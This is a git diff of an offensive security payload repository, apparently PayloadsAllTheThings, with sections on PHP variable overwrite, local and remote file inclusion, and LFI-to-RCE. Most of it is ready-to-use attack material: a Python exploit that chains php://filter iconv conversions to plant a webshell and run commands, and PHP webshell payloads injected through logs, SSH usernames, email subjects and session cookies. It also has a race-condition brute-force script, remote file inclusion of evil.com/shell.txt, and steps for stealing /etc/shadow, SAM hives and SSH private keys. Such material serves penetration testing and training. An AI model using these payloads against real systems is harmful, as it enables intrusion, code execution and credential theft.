+* [PortSwigger - File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
-/var/log/httpd/error_log
+* [PortSwigger - File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
-/usr/local/apache/log/error_log
+* [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
-/usr/local/apache2/log/error_log
+* [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
-/var/log/nginx/access.log
-/var/log/nginx/error.log
-/var/log/vsftpd.log
-/var/log/sshd.log
-/var/log/mail
-```
 
 ## References
 
-* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
+* [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://twitter.com/irsdl/status/1640390106312835072)
 * [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
+* [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
+* [Directory traversal attack - Wikipedia - August 5,  2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
+* [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
+* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
+* [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
+* [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
+* [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))

External Variable Modification/README.md

@@ -0,0 +1,98 @@
+# External Variable Modification
+
+> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
+
+## Summary
+
+* [Methodology](#methodology)
+    * [Overwriting Critical Variables](#overwriting-critical-variables)
+    * [Poisoning File Inclusion](#poisoning-file-inclusion)
+    * [Global Variable Injection](#global-variable-injection)
+* [Remediations](#remediations)
+* [References](#references)
+
+## Methodology
+
+The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
+
+* It allows overwriting existing variables.
+* It can lead to **variable pollution**, impacting security mechanisms.
+* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
+
+By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
+
+### Overwriting Critical Variables
+
+If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
+
+```php
+<?php
+    $authenticated = false;
+    extract($_GET);
+    if ($authenticated) {
+        echo "Access granted!";
+    } else {
+        echo "Access denied!";
+    }
+?>
+```
+
+**Exploitation:**
+
+In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
+
+```ps1
+http://example.com/vuln.php?authenticated=true
+http://example.com/vuln.php?authenticated=1
+```
+
+### Poisoning File Inclusion
+
+If `extract()` is combined with file inclusion, attackers can control file paths.
+
+```php
+<?php
+    $page = "config.php";
+    extract($_GET);
+    include "$page";
+?>
+```
+
+**Exploitation:**
+
+```ps1
+http://example.com/vuln.php?page=../../etc/passwd
+```
+
+### Global Variable Injection
+
+:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
+
+Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
+
+```php
+extract($_GET);
+```
+
+An attacker can manipulate **global variables**:
+
+```ps1
+http://example.com/vuln.php?GLOBALS[admin]=1
+```
+
+## Remediations
+
+Use `EXTR_SKIP` to prevent overwriting:
+
+```php
+extract($_GET, EXTR_SKIP);
+```
+
+## References
+
+* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/473.html)
+* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/621.html)
+* [Function extract - PHP Documentation - March 21, 2001](https://www.php.net/manual/en/function.extract.php)
+* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://www.php.net/manual/en/reserved.variables.globals.php)
+* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
+* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://ctftime.org/writeup/38076)

File Inclusion/Files/LFI2RCE.py

@@ -0,0 +1,60 @@
+import requests
+
+url = "http://localhost:8000/chall.php"
+file_to_use = "/etc/passwd"
+command = "id"
+
+#<?=`$_GET[0]`;;?>
+base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
+
+conversions = {
+    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
+    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
+    'C': 'convert.iconv.UTF8.CSISO2022KR',
+    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
+    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
+    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
+    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
+    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
+    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
+    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
+    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
+    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
+    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
+    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
+    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
+    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
+    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
+    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
+}
+
+
+# generate some garbage base64
+filters = "convert.iconv.UTF8.CSISO2022KR|"
+filters += "convert.base64-encode|"
+# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
+filters += "convert.iconv.UTF8.UTF7|"
+
+
+for c in base64_payload[::-1]:
+        filters += conversions[c] + "|"
+        # decode and re-encode to get rid of everything that isn't valid base64
+        filters += "convert.base64-decode|"
+        filters += "convert.base64-encode|"
+        # get rid of equal signs
+        filters += "convert.iconv.UTF8.UTF7|"
+
+filters += "convert.base64-decode"
+
+final_payload = f"php://filter/{filters}/resource={file_to_use}"
+
+with open('payload', 'w') as f:
+    f.write(final_payload)
+
+r = requests.get(url, params={
+    "0": command,
+    "action": "include",
+    "file": final_payload
+})
+
+print(r.text)

File Inclusion/Files/phpinfolfi.py

@@ -1,7 +1,9 @@
 #!/usr/bin/python
 # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
+# The following line is not required but supposedly optimizes code.  
+# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16.  This can be a pain to revert.
+# from builtins import range
 from __future__ import print_function
-from builtins import range
 import sys
 import threading
 import socket
@@ -51,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
         d += s.recv(offset)
     try:
         i = d.index("[tmp_name] =>")
+        if i == -1:
+            i = d.index("[tmp_name] =>")
         fn = d[i+17:i+31]
     except ValueError:
         return None
@@ -109,6 +113,8 @@ def getOffset(host, port, phpinforeq):
             break
     s.close()
     i = d.find("[tmp_name] =>")
+    if i == -1:
+        i = d.find("[tmp_name] =>")
     if i == -1:
         raise ValueError("No php tmp_name in phpinfo output")
 

File Inclusion/Intruders/Logs-files.txt

@@ -1 +0,0 @@
-71

File Inclusion/Intruders/php-filter-iconv.txt

@@ -0,0 +1,50 @@
+convert.iconv.437.CP930
+convert.iconv.CP1390.CSIBM932
+convert.iconv.CP273.CP1122
+convert.iconv.CP285.CP280
+convert.iconv.CSISO5427CYRILLIC.855
+convert.iconv.CSN_369103.CP770
+convert.iconv.CSUNICODE.CSUNICODE
+convert.iconv.CSUNICODE.UCS-2BE
+convert.iconv.ES.IBM037
+convert.iconv.ES.IBM930
+convert.iconv.IBM037.CP1250
+convert.iconv.IBM037.IBM256
+convert.iconv.IBM037.IBM280
+convert.iconv.IBM037.IBM860
+convert.iconv.IBM1122.IBM273
+convert.iconv.IBM1137.8859_1
+convert.iconv.IBM1141.8859_1
+convert.iconv.IBM1141.IBM4517
+convert.iconv.IBM1145.IBM850
+convert.iconv.IBM1148.EBCDIC-AT-DE-A
+convert.iconv.IBM1149.MAC-SAMI
+convert.iconv.IBM1390.IBM932
+convert.iconv.IBM1390.IBM939
+convert.iconv.IBM1399.IBM930
+convert.iconv.IBM256.IBM273
+convert.iconv.IBM273.CWI
+convert.iconv.IBM273.ES
+convert.iconv.IBM273.IBM420
+convert.iconv.IBM273.IT
+convert.iconv.IBM273.PT
+convert.iconv.IBM273.US
+convert.iconv.IBM277.ISO-8859-9E
+convert.iconv.IBM278.IBM861
+convert.iconv.IBM278.MIK
+convert.iconv.IBM284.IBM278
+convert.iconv.IBM297.IBM273
+convert.iconv.IBM297.IBM280
+convert.iconv.IBM4971.ARMSCII-8
+convert.iconv.IBM870.MAC-IS
+convert.iconv.L1.UCS-4
+convert.iconv.L1.UCS-4LE
+convert.iconv.L1.UTF16LE
+convert.iconv.L1.utf7
+convert.iconv.L1.UTF7
+convert.iconv.UCS-4LE.10646-1:1993
+convert.iconv.UTF16.UTF16
+convert.iconv..UTF7
+convert.iconv.UTF8.CP930
+convert.iconv.UTF8.IBM1140
+convert.iconv.VISCII.MSZ_7795.3

File Inclusion/LFI-to-RCE.md

@@ -0,0 +1,303 @@
+# LFI to RCE
+
+> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
+
+## Summary
+
+- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
+- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
+- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
+- [LFI to RCE via upload](#lfi-to-rce-via-upload)
+- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
+- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
+- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
+- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
+    - [RCE via SSH](#rce-via-ssh)
+    - [RCE via Mail](#rce-via-mail)
+    - [RCE via Apache logs](#rce-via-apache-logs)
+- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
+- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
+- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
+
+## LFI to RCE via /proc/*/fd
+
+1. Upload a lot of shells (for example : 100)
+2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
+
+```ps1
+http://example.com/index.php?page=/proc/$PID/fd/$FD
+```
+
+## LFI to RCE via /proc/self/environ
+
+Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
+
+```powershell
+GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
+User-Agent: <?=phpinfo(); ?>
+```
+
+## LFI to RCE via iconv
+
+Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
+
+**Requirements**:
+
+- PHP 7.0.0 (2015) to 8.3.7 (2024)
+- GNU C Library (`glibc`) <=  2.39
+- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
+
+**Exploit**:
+
+- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
+
+## LFI to RCE via upload
+
+If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
+
+```powershell
+http://example.com/index.php?page=path/to/uploaded/file.png
+```
+
+In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
+
+## LFI to RCE via upload (race)
+
+- Upload a file and trigger a self-inclusion.
+- Repeat the upload a shitload of time to:
+- increase our odds of winning the race
+- increase our guessing odds
+- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
+- Enjoy our shell.
+
+```python
+import itertools
+import requests
+import sys
+
+print('[+] Trying to win the race')
+f = {'file': open('shell.php', 'rb')}
+for _ in range(4096 * 4096):
+    requests.post('http://target.com/index.php?c=index.php', f)
+
+
+print('[+] Bruteforcing the inclusion')
+for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
+    url = 'http://target.com/index.php?c=/tmp/php' + fname
+    r = requests.get(url)
+    if 'load average' in r.text:  # <?php echo system('uptime');
+        print('[+] We have got a shell: ' + url)
+        sys.exit(0)
+
+print('[x] Something went wrong, please try again')
+```
+
+## LFI to RCE via upload (FindFirstFile)
+
+:warning: Only works on Windows
+
+`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
+
+- `*`/`<<` : Represents any sequence of characters.
+- `?`/`>` : Represents any single character.
+
+Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
+Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
+
+## LFI to RCE via phpinfo()
+
+PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
+
+> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
+
+Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
+
+## LFI to RCE via controlled log file
+
+Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
+
+```powershell
+http://example.com/index.php?page=/var/log/apache/access.log
+http://example.com/index.php?page=/var/log/apache/error.log
+http://example.com/index.php?page=/var/log/apache2/access.log
+http://example.com/index.php?page=/var/log/apache2/error.log
+http://example.com/index.php?page=/var/log/nginx/access.log
+http://example.com/index.php?page=/var/log/nginx/error.log
+http://example.com/index.php?page=/var/log/vsftpd.log
+http://example.com/index.php?page=/var/log/sshd.log
+http://example.com/index.php?page=/var/log/mail
+http://example.com/index.php?page=/var/log/httpd/error_log
+http://example.com/index.php?page=/usr/local/apache/log/error_log
+http://example.com/index.php?page=/usr/local/apache2/log/error_log
+```
+
+### RCE via SSH
+
+Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
+
+```powershell
+ssh <?php system($_GET["cmd"]);?>@10.10.10.10
+```
+
+Then include the SSH log files inside the Web Application.
+
+```powershell
+http://example.com/index.php?page=/var/log/auth.log&cmd=id
+```
+
+### RCE via Mail
+
+First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
+
+```powershell
+root@kali:~# telnet 10.10.10.10. 25
+Trying 10.10.10.10....
+Connected to 10.10.10.10..
+Escape character is '^]'.
+220 straylight ESMTP Postfix (Debian/GNU)
+helo ok
+250 straylight
+mail from: mail@example.com
+250 2.1.0 Ok
+rcpt to: root
+250 2.1.5 Ok
+data
+354 End data with <CR><LF>.<CR><LF>
+subject: <?php echo system($_GET["cmd"]); ?>
+data2
+.
+```
+
+In some cases you can also send the email with the `mail` command line.
+
+```powershell
+mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
+```
+
+### RCE via Apache logs
+
+Poison the User-Agent in access logs:
+
+```ps1
+curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
+```
+
+Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
+
+Then request the logs via the LFI and execute your command.
+
+```ps1
+curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
+```
+
+## LFI to RCE via PHP sessions
+
+Check if the website use PHP Session (PHPSESSID)
+
+```javascript
+Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
+Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
+```
+
+In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
+
+```javascript
+/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
+user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
+```
+
+Set the cookie to `<?php system('cat /etc/passwd');?>`
+
+```powershell
+login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
+```
+
+Use the LFI to include the PHP session file
+
+```powershell
+login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
+```
+
+## LFI to RCE via PHP PEARCMD
+
+PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
+
+The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
+
+```ini
+register_argc_argv = On
+```
+
+There are this ways to exploit it.
+
+- **Method 1**: config create
+
+  ```ps1
+  /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
+  /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
+  ```
+
+- **Method 2**: man_dir
+
+  ```ps1
+  /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
+  /vuln.php?file=/tmp/exec.php&c=id
+  ```
+
+  The created configuration file contains the webshell.
+
+  ```php
+  #PEAR_Config 0.9
+  a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
+  ```
+
+- **Method 3**: download (need external network connection).
+
+  ```ps1
+  /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
+  /vuln.php?file=exec.php&c=id
+  ```
+
+- **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
+
+  ```ps1
+  /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
+  /vuln.php?file=/tmp/pear/download/exec.php&c=id
+  ```
+
+## LFI to RCE via credentials files
+
+This method require high privileges inside the application in order to read the sensitive files.
+
+### Windows version
+
+Extract `sam` and `system` files.
+
+```powershell
+http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
+http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
+```
+
+Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
+
+### Linux version
+
+Extract `/etc/shadow` files.
+
+```powershell
+http://example.com/index.php?page=../../../../../../etc/shadow
+```
+
+Then crack the hashes inside in order to login via SSH on the machine.
+
+Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
+If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
+
+## References
+
+- [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - September 2011](https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
+- [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
+- [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
+- [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
+- [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
+- [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)

File Inclusion/README.md

@@ -1,42 +1,43 @@
 # File Inclusion
 
-> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
+> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
-
-> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
 
 ## Summary
 
-* [Tools](#tools)
+- [Tools](#tools)
-* [Basic LFI](#basic-lfi)
+- [Local File Inclusion](#local-file-inclusion)
-    * [Null byte](#null-byte)
+    - [Null Byte](#null-byte)
-    * [Double encoding](#double-encoding)
+    - [Double Encoding](#double-encoding)
-    * [UTF-8 encoding](#utf-8-encoding)
+    - [UTF-8 Encoding](#utf-8-encoding)
-    * [Path and dot truncation](#path-and-dot-truncation)
+    - [Path Truncation](#path-truncation)
-    * [Filter bypass tricks](#filter-bypass-tricks)
+    - [Filter Bypass](#filter-bypass)
-* [Basic RFI](#basic-rfi)
+- [Remote File Inclusion](#remote-file-inclusion)
-* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
+    - [Null Byte](#null-byte-1)
-  * [Wrapper php://filter](#wrapper-phpfilter)
+    - [Double Encoding](#double-encoding-1)
-  * [Wrapper zip://](#wrapper-zip)
+    - [Bypass allow_url_include](#bypass-allow_url_include)
-  * [Wrapper data://](#wrapper-data)
+- [Labs](#labs)
-  * [Wrapper expect://](#wrapper-expect)
+- [References](#references)
-  * [Wrapper input://](#wrapper-input)
-  * [Wrapper phar://](#wrapper-phar)
-* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
-* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
-* [LFI to RCE via upload](#lfi-to-rce-via-upload)
-* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
-* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
-* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
-* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
-* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
 
 ## Tools
 
-* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
+- [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
-* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
+- [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
-* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+- [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
+- [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
+- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
 
-## Basic LFI
+## Local File Inclusion
+
+**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
+
+Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.
+
+```php
+<?php
+$file = $_GET['page'];
+include($file);
+?>
+```
 
 In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
 
@@ -44,31 +45,37 @@ In the following examples we include the `/etc/passwd` file, check the `Director
 http://example.com/index.php?page=../../../etc/passwd
 ```
 
-### Null byte
+### Null Byte
 
-:warning: In versions of PHP below 5.3 we can terminate with null byte.
+:warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
 
 ```powershell
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
 
-### Double encoding
+**Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470
+
+```ps1
+{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
+```
+
+### Double Encoding
 
 ```powershell
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
 
-### UTF-8 encoding
+### UTF-8 Encoding
 
 ```powershell
 http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
 http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
 ```
 
-### Path and dot truncation
+### Path Truncation
 
-On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
+On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.
 
 ```powershell
 http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
@@ -77,7 +84,7 @@ http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
 http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
 ```
 
-### Filter bypass tricks
+### Filter Bypass
 
 ```powershell
 http://example.com/index.php?page=....//....//etc/passwd
@@ -85,7 +92,15 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
 http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
 ```
 
-## Basic RFI
+## Remote File Inclusion
+
+> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
+
+Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.
+
+```ini
+allow_url_include = On
+```
 
 Most of the filter bypasses from LFI section can be reused for RFI.
 
@@ -93,13 +108,13 @@ Most of the filter bypasses from LFI section can be reused for RFI.
 http://example.com/index.php?page=http://evil.com/shell.txt
 ```
 
-### Null byte
+### Null Byte
 
 ```powershell
 http://example.com/index.php?page=http://evil.com/shell.txt%00
 ```
 
-### Double encoding
+### Double Encoding
 
 ```powershell
 http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
